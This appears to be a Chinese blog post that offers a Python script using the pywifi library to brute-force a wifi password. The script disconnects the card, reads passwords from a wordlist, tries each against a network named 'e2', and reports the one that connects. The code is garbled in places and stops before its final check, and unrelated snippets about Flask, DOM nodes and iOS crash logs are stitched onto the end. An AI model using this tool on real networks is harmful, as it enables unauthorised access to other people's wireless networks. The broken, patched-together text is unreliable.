分分鐘搞定python破解無線wifi

2021-08-21 09:39:59 字數 1975 閱讀 9072

大家可以根據自己放的文職進行輸入命令

# coding:utf-8

import time #時間

import pywifi #破解wifi

from pywifi import const #引用一些定義

from asyncio.tasks import sleep

class

pojie

():def

__init__

(self,path):

self.file=open(path,"r",errors="ignore")

wifi = pywifi.pywifi() #抓取網絡卡介面

self.iface = wifi.inte***ces()[0]#抓取第乙個無限網絡卡

self.iface.disconnect() #測試鏈結斷開所有鏈結

time.sleep(1) #休眠1秒

#測試網絡卡是否屬於斷開狀態,

assert self.iface.status() in\

[const.iface_disconnected, const.iface_inactive]

defreadpassword

(self):

print("開始破解:")

while

true:

try:

mystr =self.file.readline()

ifnot mystr:

break

bool1=self.test_connect(mystr)

if bool1:

print("密碼正確:",mystr)

break

else:

print("密碼錯誤:"+mystr)

sleep(3)

except:

continue

deftest_connect

(self,findstr):

#測試鏈結

profile = pywifi.profile() #建立wifi鏈結檔案

profile.ssid ="e2"

#wifi名稱

profile.auth = const.auth_alg_open #網絡卡的開放,

profile.cipher = const.cipher_type_ccmp #加密單元

profile.key = findstr #密碼

self.iface.remove_all_network_profiles() #刪除所有的wifi檔案

tmp_profile = self.iface.add_network_profile(profile)#設定新的鏈結檔案

self.iface.connect(tmp_profile)#鏈結

time.sleep(5)

if self.iface.status() == const.iface_connected: #判斷是否連線上

isok=true

else:

isok=false

self.iface.disconnect() #斷開

time.sleep(1)

#檢查斷開狀態

教你分分鐘搞定Python之Flask框架

用最短的時間開發乙個資料操作介面,python是王道!一 安裝pip 1 首先檢查linux有沒有安裝python pip包,終端執行 pip v root network scripts pip v bash pip command not found 2 沒有python pip包就執行命令 y...

DOM判斷節點型別分分鐘搞定

node物件中的nodevalue獲取指定節點的值 在dom樹結構中,文字節點是元素節點的子節點,所以要先獲取元素節點才能獲取文字節點。例項如下 lang en charset utf 8 name viewport content width device width,initial scale ...

iOS崩潰堆疊符號化,定位問題分分鐘搞定!

最近一段時間,在跟開發者溝通過程中,蘿莉發覺有些開發者對ios的應用符號表還不是很清楚,除了諮詢關於符號表生成 配置的問題以外,對bugly崩潰分析需要配置符號表也存在疑問。在這裡,蘿莉就給大家分享下關於ios符號表的一些內容。首先,進行常識 腦補 注意 和.dsym成對出現,並且二者有相同的uui...